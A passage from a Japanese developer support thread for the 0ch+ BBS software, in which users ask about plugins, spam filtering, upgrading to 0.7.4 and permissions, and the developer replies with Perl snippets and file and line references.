592 :名無しさん@ぜろちゃんねるプラス:2013/10/30(水) 22:08:38.80 ID:9KJCjgW+0
また、逆引きできない(ホスト取得できない)書き込みを弾くことはできますでしょうか?

593 :0ch+開発担当 ◆0chp.sx.ik :2013/10/30(水) 22:54:17.69 ID:jPs3uIYA0
>>591-592
日本のドメインを判別する方法がないので列挙する形になりますが、
ホスト規制で「(?<!\.jp)(?<!\.bbtec\.net)\z」と指定すればドメインを限定できます。

大抵の英文スパムはプラグイン「スパムキラー」(0ch_spamkiller.pl)
で弾けるのでこのプラグインの使用をおすすめします。

このプラグインの設定はデフォルトで問題無いとは思いますが、
nohost_point の数値を threshold_point より大きく設定すれば
逆引き不可のユーザを完全に弾くことも出来ます。

594 :名無しさん@ぜろちゃんねるプラス:2013/11/01(金) 09:52:45.85 ID:sjsEEx/s0
>>593
ありがとうございます。
色々調べてみたのですが、スパムキラーの加算システムが良く分かりません。
これは何を設定するものなのでしょうか?

595 :0ch+開発担当 ◆0chp.sx.ik :2013/11/01(金) 12:35:12.17 ID:evrXKGcw0
>>594
簡単にいえば、スパムと疑わしき要素について加点していき、
点数が一定値を超えるとスパムと判定してその書き込みを弾くというものです。

デフォルトの設定で説明すると、
・逆引き不可のIPなら 7点
・名前欄が半角文字(ASCII)のみなら 2点
・メール欄に半角@があれば 5点
・本文の 95%以上 が半角文字なら 2点
といったように加点していき、その点数が 10点以上 になればスパムと判定されます。

596 :名無しさん@ぜろちゃんねるプラス:2013/11/01(金) 17:47:14.70 ID:N4pnuFkc0
>>595
そういうことでしたか
ありがとうございました

597 :名無しさん@ぜろちゃんねるプラス:2013/11/02(土) 17:07:21.50 ID:jt6fYt+Q0
コンストラクタの設定値にはどのようなものがあるのでしょうか?
リストにしていただくと有難いです
それと、プラグインでCGIに自動で書き込むプラグインというのは作れるでしょうか?
たとえば「!ex*******/ex」と本文に打ち込んで書き込むと******の部分が指定されたCGIに書き込まれるというような感じで
教えてくれませんか?

598 :0ch+開発担当 ◆0chp.sx.ik :2013/11/02(土) 22:51:06.41 ID:wwQO98Os0
>>597
コンストラクタの設定値というのがイマイチわからないのですが、
具体的にどのようなものを指していますか?

>CGIに自動で書き込む
こちらもCGIが何を表しているのかよくわかりませが、
プラグインから別のレスを書き込むという意味ならかなり難しいです。

599 :名無しさん@ぜろちゃんねるプラス:2013/11/03(日) 07:24:01.46 ID:dJo3eFQ+0
申し訳ございません、分かりにくかったですか
スレ・レスにモードをつけてID:noneというのを作っているんですがどうもうまくいかなくて
それで例えばモードをつけてIDを上書きするという際にはどのようにするか教えてほしかったんです
CGIというのは……そうですね
例えば、まだかなCGIとかです

600 :0ch+開発担当 ◆0chp.sx.ik :2013/11/03(日) 13:22:03.19 ID:bggi5i3A0
>>599
>スレ・レスにモードをつけて
スレッドに属性を付加する機能は一応あります。
こちらのコードを参考にするなり改造するなりしてみてください。
http://sourceforge.jp/projects/zerochplus/scm/svn/blobs/head/codes/0ch_threadattr.pl
http://svn.sourceforge.jp/svnroot/zerochplus/codes/0ch_threadattr.pl

>IDを上書きする
ただ現段階ではプラグインから日付ID部分の改造が出来ません。
module/vara.pl の 132-134行目あたり、あるいは
module/galadriel.pl の sub MakeIDnew, sub GetIDPart を改造する必要があります。

ID部分の書き換えは需要が高いようなので、
次のリリース0.7.4で ある程度操作できるようにしておこうと思います。

>まだかなCGI
規制ユーザ一覧を操作したい場合は、モジュールを使って
  require './module/faramir.pl';
  my $vUser = FARAMIR->new;
  $vUser->Load($Sys);
  $vUser->Add('\\.example\\.jp$');
  $vUser->Save($Sys);
のようにするか、設定ファイルを直接操作するかのどちらかです。
  my $path = $Sys->Get('BBSPATH') . '/' . $Sys->Get('BBS') . "/info/access.cgi";
  open(my $fh, '>>', $path);
  print $fh '\\.example\\.jp$' . "\n";
  close($fh);

601 :名無しさん@ぜろちゃんねるプラス:2013/11/03(日) 14:30:35.38 ID:i412nn1Q0
>>600
できました
ありがとうございます

602 :バージョン0.7.4:2013/11/06(水) 15:42:17.27 ID:VeMgMoiI0
172 :バージョン0.7.4:2013/11/06(水) 07:47:45.80 ID:VeMgMoiI0アップデートはどのように行えばよいでしょうか

45 名前:名無しさん@ぜろちゃんねるプラス[sage] 投稿日:2011/07/30(土) 10:05:42.92 ID:8CnCTmxsi
バージョンアップは
バックアップ→最新版に差し替え→バックアップ復元
という流れでやればいいのでしょうか?

46 名前:windyakin ★[] 投稿日:2011/07/30(土) 13:04:02.19 ID:???0
>>45
更新されるファイルは主に
test/module/*.pl
test/mordor/*.pl
test/perllib/*.pm
test/plugin/*.pl
test/*.cgi
ぐらいですのでそのあたりだけの差し替えでも構わないかと。
勿論バックアップをするのに越したことはないですが。

--------------------------------
上記と同じくファイル差し替えたのですが、バージョン番号が変化しません。
>BBS.CGI - 0ch+ BBS 0.7.3 20130527 (Perl)
0.7.4 にするにはどうすればいいのでしょうか?

173 :0ch+開発担当 ◆0chp.sx.ik :2013/11/06(水) 13:54:25.29 ID:IW9s3PHI0>>172
おそらくindex.htmlの最下部に表示されているバージョンのことだと思いますが、
index.htmlはプログラムの生成物なので1度でも書き込めば更新されます。
read.cgiやadmin.cgiから確認すれば0.7.4になっていると思います。


開発スレでする質問ではなかったですね失礼しました。


上書きではなくサーバー側を削除してからうpしたのでパーミッションが間違っていました。
パーミッション修正。書き込みしてSubject更新、情報更新、Index更新しましたが変化なし
0.7.4でTestフォルダ検索するとこれしか出てこない。

\test\module\melkor.pl
'VERSION' => '0ch+ BBS 0.7.4 20131106', # CGIバージョン


これは新しく増えたのでしょうか、数値を教えて頂きたいのですが
過去ログ倉庫ディレクトリパーミッション
http://www12.atwiki.jp/0ch/pages/8.html

603 :0ch+開発担当 ◆0chp.sx.ik :2013/11/06(水) 18:29:53.12 ID:IW9s3PHI0
>>602
>Index更新しましたが変化なし
書き込んだレスの内容はindexに反映されていますか?
反映されているなら、ファイルの差し替えができていません。

反映されていなければ、おそらくindexのパーミッションが間違っています。
管理画面からパーミッション設定を正しく設定してください。

パーミッションの設定はこちらのページを参照してください。こちらが最新です。
http://sourceforge.jp/projects/zerochplus/wiki/Permission
過去ログ倉庫ディレクトリパーミッション は0.7.4から増えた設定です。

604 :バージョン0.7.4:2013/11/06(水) 19:18:47.51 ID:VeMgMoiI0
[700] template/
[600] *.tt
[600] index.html (403用)

templateフォルダが見当たらないのですが今回からなくなったのですか?

605 :0ch+開発担当 ◆0chp.sx.ik :2013/11/06(水) 19:26:36.11 ID:IW9s3PHI0
>>604
今までのリリース分にはもともと無いので無視してください。

606 :名無しさん@ぜろちゃんねるプラス:2013/11/06(水) 19:42:17.66 ID:SBPnhvEk0
すいません少々よろしいでしょうか
今の今まで上の方で説明されたkage機能を使用していたのですが0.74で仕様ががらりと変わってしまったようなのでどうやればいいかわからなくなってしまいました
どうすればいいでしょうか?

607 :0ch+開発担当 ◆0chp.sx.ik :2013/11/06(水) 19:49:34.34 ID:IW9s3PHI0
>>606
kage機能はスクリプト本体を改造する必要がなくなり、プラグインのみで実現可能になりました。
以下がそのサンプルプラグインです。
http://svn.sourceforge.jp/svnroot/zerochplus/codes/0ch_sagekage.pl

正味、以下の数行だけで実現できます。
  if ($mail =~ /kage/) {
    # スレッドを一覧の最後に移動する
    $Sys->Set('updown', 'bottom');
  }

608 :名無しさん@ぜろちゃんねるプラス:2013/11/06(水) 20:01:55.94 ID:SBPnhvEk0
す、すごい
ということはIDの置換も本文置換のようにできるということですかね?
サンプルを用意してくれればありがたいです……

609 :0ch+開発担当 ◆0chp.sx.ik :2013/11/06(水) 20:04:36.96 ID:IW9s3PHI0
>>608
ID置換もサンプルを用意してあります。
http://svn.sourceforge.jp/svnroot/zerochplus/codes/0ch_myid.pl

610 :名無しさん@ぜろちゃんねるプラス:2013/11/06(水) 20:08:06.03 ID:SBPnhvEk0
すごいな
最後に一つ
一体どこにサンプルが用意されているんですかね?
変更履歴とありますがチケットとかあまり詳しくないので

611 :0ch+開発担当 ◆0chp.sx.ik :2013/11/06(水) 20:24:28.23 ID:IW9s3PHI0
>>610
変更履歴はこちらです。
http://sourceforge.jp/projects/zerochplus/releases/59833/changelog
用意したサンプルは、本体を改造していた方が0.7.4にアップデートする際
同様の機能をプラグインで実装しやすいように用意したものです。

612 :名無しさん@ぜろちゃんねるプラス:2013/11/06(水) 20:25:03.77 ID:SBPnhvEk0
>>611
有難うございました!

613 :バージョン0.7.4:2013/11/06(水) 20:27:57.00 ID:VeMgMoiI0

書き込んだレスの内容はindexに反映されていますか?

?[700] perllib/
?[700] */
?[600] *.*
?[600] index.html (403用)

perllibフォルダ700
Cgi
Digest
List
Net

これらの中身のフォルダは700それ以外は600でいいのでしょうか

614 :バージョン0.7.4:2013/11/06(水) 20:29:53.31 ID:VeMgMoiI0
>書き込んだレスの内容はindexに反映されていますか?
反映されています。

615 :0ch+開発担当 ◆0chp.sx.ik :2013/11/06(水) 20:29:59.96 ID:IW9s3PHI0
>>613
>フォルダは700それ以外は600
はいそうです。

616 :0ch+開発担当 ◆0chp.sx.ik :2013/11/06(水) 20:43:44.77 ID:IW9s3PHI0
>>614
サーバー側の test/module/melkor.pl ファイルを一度ダウンロードして内容を確認してみてください。
247-248行目あたりのバージョンの部分が0.7.4のものになっていますか?
なっていなければアップロードに失敗しているか、あるいはアップロードするファイルを間違えている可能性があります。

617 :バージョン0.7.4:2013/11/06(水) 21:15:57.72 ID:VeMgMoiI0
>サーバー側の test/module/melkor.pl
'VERSION' => '0ch+ BBS 0.7.4 20131106', # CGIバージョン

datas info フォルダ以外は差し替え
Filezillaパーミッションと管理画面のパーミッション正しい数値にしました。
http://sourceforge.jp/projects/zerochplus/wiki/Permission

これ以上どこがおかしいかわからない
ぜろちゃんねるプラス開発@38ちゃんねる バージョンアップできますか
BBS.CGI - 0ch+ BBS 0.7.2 20130511

618 :0ch+開発担当 ◆0chp.sx.ik :2013/11/06(水) 21:40:47.21 ID:IW9s3PHI0
>>617
管理画面(admin.cgi)の最下部のバージョン表示はどうなっていますか?
Build Version:0ch+ BBS 0.7.4 20131106

619 :バージョン0.7.4:2013/11/06(水) 21:53:19.67 ID:VeMgMoiI0
>管理画面(admin.cgi)の最下部のバージョン表示はどうなっていますか?
差し替わってないですね
Build Version:0ch+ BBS 0.7.3 20130527

どうすればいいんですか?

620 :0ch+開発担当 ◆0chp.sx.ik :2013/11/06(水) 22:33:31.72 ID:IW9s3PHI0
>>619
そのように表示されている以上は0.7.3のファイルがサーバーにあるはずです。
ファイルを差し替えていたのは別のtestフォルダだった、としか考えられません。
まずは稼働している本物のスクリプトファイルを探してください。

621 :バージョン0.7.4:2013/11/07(木) 00:07:56.10 ID:3+twvMGY0
\test\info\system.cgi

CONFVER<>0ch+ BBS 0.7.3 20130527
VERSION<>0ch+ BBS 0.7.3 20130527

infoフォルダに073が残っていました。
しかしこれを074に差し替えるとAdminログインできなくなる

622 :0ch+開発担当 ◆0chp.sx.ik :2013/11/07(木) 00:26:49.44 ID:/xBiXj760
>>621
なるほど、設定ファイルに0.7.3のバージョン情報が残っていたんですね。
これはほぼ見かけ上の問題なので、おそらく0.7.4へのアップデートはできています。

気になる場合はsystem.cgiのこの行だけを削除してください。
VERSION<>0ch+ BBS 0.7.3 20130527

623 :バージョン0.7.4:2013/11/07(木) 00:56:46.15 ID:3+twvMGY0
個別スレはできました。
トップページはかわらない。
>CONFVER<>0ch+ BBS 0.7.3 20130527
削除してうpしましたがだめでした。

624 :バージョン0.7.4:2013/11/07(木) 01:11:07.99 ID:3+twvMGY0
074Index更新するとできました。
但し「過去ログ倉庫」のみ073
寝よ

625 :名無しさん@ぜろちゃんねるプラス:2013/11/07(木) 19:53:49.45 ID:phmsGDaA0
一つ質問があります
現在強制名無しプラグインを作っていてメ欄に!774:***と打ち込むとそのスレ全部がその名前になるというものを作っていました
しかし、最初のレスは成功するんですが二回目からはなぜかすべて「名無しさん@ゼロチャンネルプラス」と普通の名無しになってしまいます
どのように作ればいいでしょうか?
if ($mail =~ s/!774:(.*)$//g) {
$mac = $1;
$from = $mac;
$Form->Set('mail',$mail,'FROM',$mac);
$Threads->SetAttr($key, '774', 1);
$Threads->SaveAttr($Sys);
}
}
my $nanasi = $Threads->GetAttr($key, '774');
if ($nanasi) {
$text = $mac;
$Form->Set('FROM',$text,);
}


626 :0ch+開発担当 ◆0chp.sx.ik :2013/11/07(木) 20:34:44.34 ID:/xBiXj760
>>624
過去ログ倉庫は全てプログラムの生成物なので再生成しない限り変化しません。
わざわざバージョン表示のためだけに再生成してもメリットは無いのでそのままで問題ありません。

>>625
そのコードの場合、2回目以降は$macを読み込む必要があります。
属性には文字列を渡せるのでこれを利用すると以下のように実装できます。
  if ($Sys->Equal('MODE', 1)) {
    if ($mail =~ s/!774:(.*)$//g) {
      $Form->Set('mail', $mail);
      $Threads->SetAttr($key, '774', $1); # 774属性に名無しを保存
      $Threads->SaveAttr($Sys);
    }
  }
  my $mac = $Threads->GetAttr($key, '774'); # 774属性から名無しを読み込む
  if ($mac ne '') {
    $Form->Set('FROM', $mac);
  }

627 :名無しさん@ぜろちゃんねるプラス:2013/11/07(木) 21:52:55.04 ID:phmsGDaA0
>>626
すいません、それを実行して成功はしたのですが……
ランダム名無しを使用しているのですが名前欄を無記入で書くと名無しさん@ゼロチャンネルプラスになるだけではなく挙句の果てにキャップまで名無しさん@ゼロチャンネルプラスになりました
一体なぜでしょうか?

628 :0ch+開発担当 ◆0chp.sx.ik :2013/11/07(木) 22:06:49.55 ID:/xBiXj760
>>627
プラグインの実行順序を入れ替えて、強制名無しをランダム名無しの前に実行させてください。
プラグイン一覧の「Order」の項目が順序です。

キャップは条件を増やして以下のようにすれば置換されなくなります。
my $from = $Form->Get('FROM');
if ($mac ne '' && $from !~ /★/) {

629 :名無しさん@ぜろちゃんねるプラス:2013/11/08(金) 04:04:57.52 ID:7x5W6zGg0
>>628
そうするとランダム名無しが優先されて強制名無しを実行してもそのままになりませんか?
それと名前欄が名無しさん@ゼロチャンネルプラスは強制名無しを実行していないスレにまで及んでいます
何なんでしょうかこの現象は?

630 :0ch+開発担当 ◆0chp.sx.ik :2013/11/08(金) 12:29:36.48 ID:+gWnMbLk0
>>629
コード中の$keyに値が設定されていない可能性があります。
  my $key = $Sys->Get('KEY');

>ランダム名無しが優先
0ch_774.plのコードを確認してきました。思っていた処理とちょっと違っていました。
確かにそうですね、ランダム名無しの後に強制名無しの順が適切です。

631 :名無しさん@ぜろちゃんねるプラス:2013/11/09(土) 00:34:16.53 ID:o37m83vc0
>>630
比較演算子であるneを使うとなぜか名無しさん@ゼロチャンネルプラスになるので条件を少し変えたらできました
有難うございました!

632 :名無しさん@ぜろちゃんねるプラス:2013/11/09(土) 00:38:04.55 ID:o37m83vc0
>>632
それとプラグインを板別に実行することは可能でしょうか?
$Sys->Get('BBS');とかで属性のように実装できるでしょうか?

633 :0ch+開発担当 ◆0chp.sx.ik :2013/11/09(土) 11:55:43.58 ID:GC0gl6dg0
>>632
以下のようにすれば板別の処理ができます。

my $bbs = $Sys->Get('BBS');
if ($bbs eq 'operate') { # operate板
  return 0; # 何もせず終了
} elsif ($bbs eq 'bbs1') { # bbs1板
 
} else { # その他の板
 
}

634 :名無しさん@ぜろちゃんねるプラス:2013/11/09(土) 12:17:23.71 ID:o37m83vc0
>>633
なるほど
ありがとうございます
管理画面からの板別実行はいつごろ実装する予定なのでしょうか?

635 :0ch+開発担当 ◆0chp.sx.ik :2013/11/09(土) 13:03:38.19 ID:GC0gl6dg0
>>634
予定は特になく、需要と気まぐれに大きく左右されます。

一応以下のようにすればプラグインの個別設定で設定することが可能です。
http://pastebin.com/e5cNa8fv

636 :名無しさん@ぜろちゃんねるプラス:2013/11/09(土) 13:15:30.83 ID:o37m83vc0
>>635
成程
有難うございました

637 :名無しさん@ぜろちゃんねるプラス:2013/11/09(土) 13:21:04.13 ID:v8Ixqjjo0
リファラが不正だと書き込めないようですが、それを解除する方法ありますでしょうか?
サイトに直接表示させて書き込めるようにしたいので、そのサイトからのリファラも許可したいと思っています。

638 :0ch+開発担当 ◆0chp.sx.ik :2013/11/09(土) 14:06:52.94 ID:GC0gl6dg0
>>637
「アクセス不正です。このCGIは外部からのアクセスは認めてないです。。」
というエラーが表示される場合は、 BBS_REFERER_CHECKを空白に設定するか、
module/galadriel.pl の sub IsReferer を書き換えてください。
  # http://expample.jp/user1/* を許可
  if ($pENV->{'HTTP_REFERER'} =~ m|^\Qhttp://expample.jp/user1/\E|) {
    return 0;
  }

「フォーム情報が正しく読めないです。」 というエラーの場合はPOSTメソッドを使用するか、
システム設定->その他設定から「GETメソッドを使用する」にチェックを入れてください。

639 :名無しさん@ぜろちゃんねるプラス:2013/11/09(土) 14:41:00.41 ID:v8Ixqjjo0
>>638
さっそくのご回答ありがとうございます
では一度やってみます

640 :名無しさん@ぜろちゃんねるプラス:2013/11/10(日) 12:44:01.80 ID:RkPmZa0c0
すいません、ひとつ質問です
現在カラーコードを指定して色を変えるというプラグインを作っているんですがどうも成功しません
y $text = $form->Get('MESSAGE');
if($text=~ /!color:[0-9A-F]{6}(.*?)/){
$text = "<font color=\"\#$1\">$2<\/font>";
}
どうすればできるでしょうか


641 :0ch+開発担当 ◆0chp.sx.ik :2013/11/10(日) 12:52:48.08 ID:E50yas7c0
>>640
正規表現のカラーコード部分にもカッコが必要です。
if ($text=~ /!color:([0-9A-F]{6})(.*?)/) {

642 :名無しさん@ぜろちゃんねるプラス:2013/11/10(日) 12:58:23.40 ID:RkPmZa0c0
は、早い

指摘通りに修正いたしましたがなぜかダメですね
my $text = $form->Get('MESSAGE');
if ($text=~ /!color:([0-9A-F]{6})(.*?)/) {
$text = "<font color=\"\#$1\">$2<\/font>";
}
カラーコードがフォントタグに代入されず
!color:AA9A00てす
と打ち込むと
!color:AA9A00てすとそのまま返ってきます
なぜでしょう

643 :名無しさん@ぜろちゃんねるプラス:2013/11/10(日) 13:00:24.72 ID:RkPmZa0c0
ちなみに
!color:AA9A00
てす
のように改行をしてもだめでした……

644 :0ch+開発担当 ◆0chp.sx.ik :2013/11/10(日) 13:44:46.49 ID:E50yas7c0
>>642
MESSAGEを再設定してください。
$Form->Set('MESSAGE', $text);

645 :0ch+開発担当 ◆0chp.sx.ik :2013/11/10(日) 13:45:56.44 ID:E50yas7c0
訂正、今回の場合$formは小文字でしたね
誤 $Form → 正 $form

646 :名無しさん@ぜろちゃんねるプラス:2013/11/10(日) 14:08:56.51 ID:RkPmZa0c0
https://sites.google.com/site/sourceaaafafsaf/
空白になってしまいました

647 :0ch+開発担当 ◆0chp.sx.ik :2013/11/10(日) 15:40:47.59 ID:E50yas7c0
>>646
かなり書き換えてちょっと解りにくくなったと思いますが、こんな感じでどうでしょうか。
http://svn.sourceforge.jp/svnroot/zerochplus/codes/0ch_color.pl

648 :名無しさん@ぜろちゃんねるプラス:2013/11/10(日) 16:03:12.35 ID:O5v+6ae20
書き込み後の処理で、板のTOPではなく書き込んだスレッドに戻るよう設定したいのですが、どうすればよろしいでしょうか。

649 :0ch+開発担当 ◆0chp.sx.ik :2013/11/10(日) 16:22:16.81 ID:E50yas7c0
>>648
まず module/varda.pl の 490行目付近を以下のように書き換えてください。
  # プレビューの表示
  my $datPath = "$basePath/dat/$key.dat";
  $Dat->Load($this->{'SYS'}, $datPath, 1);
  $this->{'SYS'}->Set('KEY', $key);
      ↓書き換え
  $this->{'SYS'}->Set('_KEY', $key);

さらに620行目付近を書き換えてください。
  # 前準備
  my $contNum = $this->{'SET'}->Get('BBS_CONTENTS_NUMBER');
  my $cgiPath = $Sys->Get('SERVER') . $Sys->Get('CGIPATH');
  my $bbs = $Sys->Get('BBS');
  my $key = $Sys->Get('KEY');
      ↓書き換え
  my $key = $Sys->Get('_KEY');

次に bbs.cgi の subPrintBBSJump 内を書き換えてください。
  # PC用表示
  else {
    my $bbsPath = $Conv->MakePath($Sys->Get('BBS_REL'));
        ↓書き換え
    my $bbsPath = $Conv->MakePath($Sys->Get('CGIPATH').'/read.cgi/'.$Sys->Get('BBS').'/'.$Sys->Get('KEY').'/l50');

650 :名無しさん@ぜろちゃんねるプラス:2013/11/10(日) 17:15:24.62 ID:RkPmZa0c0
>>647
おぉ、すごい
できました、ありがとうございます

651 :名無しさん@ぜろちゃんねるプラス:2013/11/10(日) 18:26:21.67 ID:4IypCOK60
地域表示プラグインで名前欄記入時に非表示にしたいのですがどうすればいいのでしょうか。
また、非表示と言っておりますが色合わせの関係で</font>タグを埋め込ませたいのです………

よろしくお願いします

652 :0ch+開発担当 ◆0chp.sx.ik :2013/11/10(日) 18:40:34.99 ID:E50yas7c0
>>651
sub execute 内の上のほうで以下のような文を加えればいいと思います。
return 0 if ($sys->Get('FROM', '') ne '');

> </font>タグを埋め込ませたい
これについてはよくわからないので、もう少し具体的に説明してください。

653 :名無しさん@ぜろちゃんねるプラス:2013/11/10(日) 18:46:12.02 ID:i7AvOOU20
そのスレではなく特定のスレを一定書き込みごとに上げるようにするにはやはりプラグインでは不可能なのでしょうか?

654 :名無しさん@ぜろちゃんねるプラス:2013/11/10(日) 18:47:32.92 ID:4IypCOK60
>>652
ランダム名無しプラグインの方で<font>タグを閉じずに地域表示プラグインの方で閉じるようにしたいのです

655 :名無しさん@ぜろちゃんねるプラス:2013/11/10(日) 18:56:15.16 ID:4IypCOK60
非表示にした時に開けっ放しを回避したいのです
$form->Set('FROM', $name."</b>(".$area.")<b></font>");
としているのに非表示にすると閉じられなくなってしまうので

656 :0ch+開発担当 ◆0chp.sx.ik :2013/11/10(日) 19:20:01.02 ID:E50yas7c0
>>653
不可能とはいいませんが、やはり簡単にはできないでしょう。

>>654-655
それなら、閉じタグを加えるだけのプラグインを作って
ランダム名無し、地域表示、閉じタグ追加の順に実行させればいいのではないでしょうか。

657 :名無しさん@ぜろちゃんねるプラス:2013/11/10(日) 19:26:41.99 ID:4IypCOK60
>>656
確かにそうですね
やってみます

ありがとうございました

658 :名無しさん@ぜろちゃんねるプラス:2013/11/10(日) 20:02:46.98 ID:RkPmZa0c0
いちいちindex更新をするのも面倒くさいので自動更新をする方法はありますか?

659 :0ch+開発担当 ◆0chp.sx.ik :2013/11/10(日) 20:17:19.21 ID:E50yas7c0
>>658
掲示板のトップページ(index.html)のことなら、システム設定->その他設定から
動作モードの項目の高速書き込みモードのチェックを外してください。

過去ログ倉庫の各index.htmlのことなら0.7.4で自動更新するようにしました。

660 :名無しさん@ぜろちゃんねるプラス:2013/11/10(日) 20:27:38.03 ID:RkPmZa0c0
>>659
チェックを外していますが自動更新されません……
あれですよ
例えばレスを削除すした後自動で更新されるという

661 :0ch+開発担当 ◆0chp.sx.ik :2013/11/10(日) 20:37:53.83 ID:E50yas7c0
>>660
管理画面からレスを削除した時にindex.htmlを更新させるには、
mordor/thread.del.pl の sub FunctionResDelete の最後(returnの前)に以下のコードを加えてください。
  require './module/varda.pl';
  my $BBSAid = VARDA->new;
  $Sys->Set('MODE', 'CREATE');
  $BBSAid->Init($Sys, undef);
  $BBSAid->CreateIndex();
  $BBSAid->CreateIIndex();
  $BBSAid->CreateSubback();

662 :名無しさん@ぜろちゃんねるプラス:2013/11/10(日) 20:40:04.41 ID:RkPmZa0c0
>>661
できました!
……わがまま言ってあれなんですけど、何かしらの変更が加えられたら自動更新、っていうのはできますかね……?

663 :0ch+開発担当 ◆0chp.sx.ik :2013/11/10(日) 20:54:19.83 ID:E50yas7c0
>>662
さすがに今のプログラム構造では難しいと思います。

664 :名無しさん@ぜろちゃんねるプラス:2013/11/10(日) 20:57:25.77 ID:RkPmZa0c0
>>663
そうですか
有難うございました

665 :名無しさん@ぜろちゃんねるプラス:2013/11/10(日) 21:16:31.02 ID:O5v+6ae20
>>661
ありがとうございます

666 :名無しさん@ぜろちゃんねるプラス:2013/11/12(火) 19:45:21.80 ID:gHMeDmyM0
いつもお世話になっております。

zerochplus_0.7.4/ r.cgi 内部の、「r.cgi初期化・前準備」147〜150あたりに、
 
 
       my $submax = $oSET->Get('BBS_SUBJECT_MAX') || $oSYS->Get('SUBMAX');
       $Sys->Set('SUBMAX', $submax);
       my $resmax = $oSET->Get('BBS_RES_MAX') || $oSYS->Get('RESMAX');
       $Sys->Set('RESMAX', $resmax);

 
があるために、r.cgi が異常終了しているっぽいのですが。

667 :0ch+開発担当 ◆0chp.sx.ik :2013/11/12(火) 21:03:15.08 ID:gPvrKGyo0
>>666
確かにそうですね、報告ありがとうございます。
$Sys ではなく $oSYS ですね。

668 :名無しさん@ぜろちゃんねるプラス:2013/11/12(火) 21:21:48.52 ID:gHMeDmyM0
>>667
動きました。ありがとうございます。

669 :名無しさん@ぜろちゃんねるプラス:2013/11/12(火) 23:09:47.79 ID:o62Ye5SA0
$Sysと$oSYSとがあって紛らわしいですよね。

670 :0ch+開発担当 ◆0chp.sx.ik :2013/11/12(火) 23:20:21.43 ID:gPvrKGyo0
>>669
無印0chのコードは後者だったのですが、改造を繰り返すうちにややこしいことになったので
以降は$Sysに統一しようと思って、コード整理をした部分は$Sysにしてあると思います。

r.cgiはほとんどメンテナンスしていないので$oSYSのままだったりします。

671 :名無しさん@ぜろちゃんねるプラス:2013/11/13(水) 06:40:42.52 ID:zNTdUkvA0
プレビュー画面やread.cgi画面、過去ログ画面の掲示板に戻るリンクを任意のURLにしたいのですが、
どうすればよろしいでしょうか?

672 :0ch+開発担当 ◆0chp.sx.ik :2013/11/13(水) 17:47:29.04 ID:0Eq6Ku4s0
>>671
index.htmlのリンクは module/varda.pl の505行目あたりを、
書き込みエラー画面のリンクは module/orald.pl の194行目あたりを、
read.cgiのリンクは read.cgi の433行目あたりを、
過去ログ倉庫のリンクは module/celeborn.pl の483行目あたりを書き換えてください。
また、書き込み後の戻り先は bbs.cgi の547行目あたりを書き換えてください。

673 :名無しさん@ぜろちゃんねるプラス:2013/11/14(木) 19:29:55.36 ID:CIbAtc2I0
0ch_newtreed.plのように自動で新スレを建てるにはどうすればいいでしょうか?

674 :0ch+開発担当 ◆0chp.sx.ik :2013/11/14(木) 20:16:14.50 ID:lAvR8SmM0
>>673
そのプラグインを改造すればいいのではないですか?
あるいは不都合でもあるのでしょうか。

675 :名無しさん@ぜろちゃんねるプラス:2013/11/14(木) 20:23:51.85 ID:CIbAtc2I0
>>674
いえ、サイトに接続できないんです
恐らく配信が終了しているのでしょう
http://a1or4qsl6.hp.infoseek.co.jp/okiba/index.html

676 :0ch+開発担当 ◆0chp.sx.ik :2013/11/14(木) 20:28:09.72 ID:lAvR8SmM0
>>675
そういうことでしたか。
どうやらそのファイルはWebArchive上に残っているみたいです。
http://web.archive.org/web/20100429034431/http://a1or4qsl6.hp.infoseek.co.jp/okiba/files/0ch_newthread_060228.txt

677 :名無しさん@ぜろちゃんねるプラス:2013/11/14(木) 20:32:31.24 ID:CIbAtc2I0
>>676
なるほど!有難うございます
ところで旧0chのプラグインやアシストなどはどこに残っているのでしょうか?
http://www12.atwiki.jp/0ch/pages/28.html
http://www12.atwiki.jp/0ch/pages/25.html

678 :名無しさん@ぜろちゃんねるプラス:2013/11/14(木) 20:40:46.23 ID:mSchEbGo0
>>672
できました
ありがとうございます

679 :0ch+開発担当 ◆0chp.sx.ik :2013/11/14(木) 20:50:49.02 ID:lAvR8SmM0
>>677
現在ダウンロードできないものの内いくつかはWebArchive上に残っているみたいですが、
0ch/0ch+本体に統合された機能も多く、わざわざ探しだしてダウンロードする程でもないと思います。

また、0ch+開発の副産物としていくつかの実用プラグイン・サンプルプラグインがあります。
http://sourceforge.jp/projects/zerochplus/scm/svn/tree/head/codes/
http://sourceforge.jp/projects/zerochplus/scm/svn/tree/head/area/trunk/

680 :名無しさん@ぜろちゃんねるプラス:2013/11/14(木) 20:55:10.17 ID:CIbAtc2I0
>>679
わざわざありがとうございます
最後に、myres.cgi等は一体なんなのか教えてくれると助かります

681 :0ch+開発担当 ◆0chp.sx.ik :2013/11/14(木) 21:03:36.13 ID:lAvR8SmM0
>>680
「0ch_」のついていないものはプラグインではありません。
 myres.cgiは0ch+システム外部からレスを書き込むプログラム(>>440)
 bbsmenu.cgiはbbsmenuを表示するサンプルプログラム(>>159)
となっています。
それ以外は開発用のプログラムなので無視してください。

682 :名無しさん@ぜろちゃんねるプラス:2013/11/14(木) 21:04:00.17 ID:CIbAtc2I0
>>681
なるほど
本当に有難うございました!

683 :名無しさん@ぜろちゃんねるプラス:2013/11/15(金) 00:47:20.17 ID:rkXpzYQk0
携帯版のスレッドからPC版のレスに飛ばすことはできますでしょうか?
http://yakin.38-ch.net/zerochplus/i/
↑にあるこのスレッドをクリックすると、ここに飛ぶようにしたいです

684 :0ch+開発担当 ◆0chp.sx.ik :2013/11/15(金) 13:05:26.31 ID:4EQEDFqU0
>>683
/i/index.htmlのリンクをread.cgiに書き換える場合は
module/varda.pl の157行目あたりを以下のように書き換えてください。
  my $path = $Conv->CreatePath($Sys, 'O', $bbs, $key, 'l10');
  my $path = $Conv->CreatePath($Sys, 0, $bbs, $key, 'l50');

p.cgi の144行目あたりも同様です。
  $path = $Conv->CreatePath($Sys, 1, $Sys->Get('BBS'), $elem[1], 'l10');
  $path = $Conv->CreatePath($Sys, 0, $Sys->Get('BBS'), $elem[1], 'l50');

685 :名無しさん@ぜろちゃんねるプラス:2013/11/15(金) 16:51:50.38 ID:CsWIWGqQ0
>>684
ありがとうございます。できました。
あと、index画面(PC版)のスレッドを別タブで開かないようにすることはできますでしょうか?

686 :0ch+開発担当 ◆0chp.sx.ik :2013/11/15(金) 17:16:44.56 ID:4EQEDFqU0
>>685
module/varda.pl の394,398行目あたりの「 target=\"body\"」を削ってください。

687 :名無しさん@ぜろちゃんねるプラス:2013/11/15(金) 17:23:40.34 ID:CsWIWGqQ0
>>686
できました
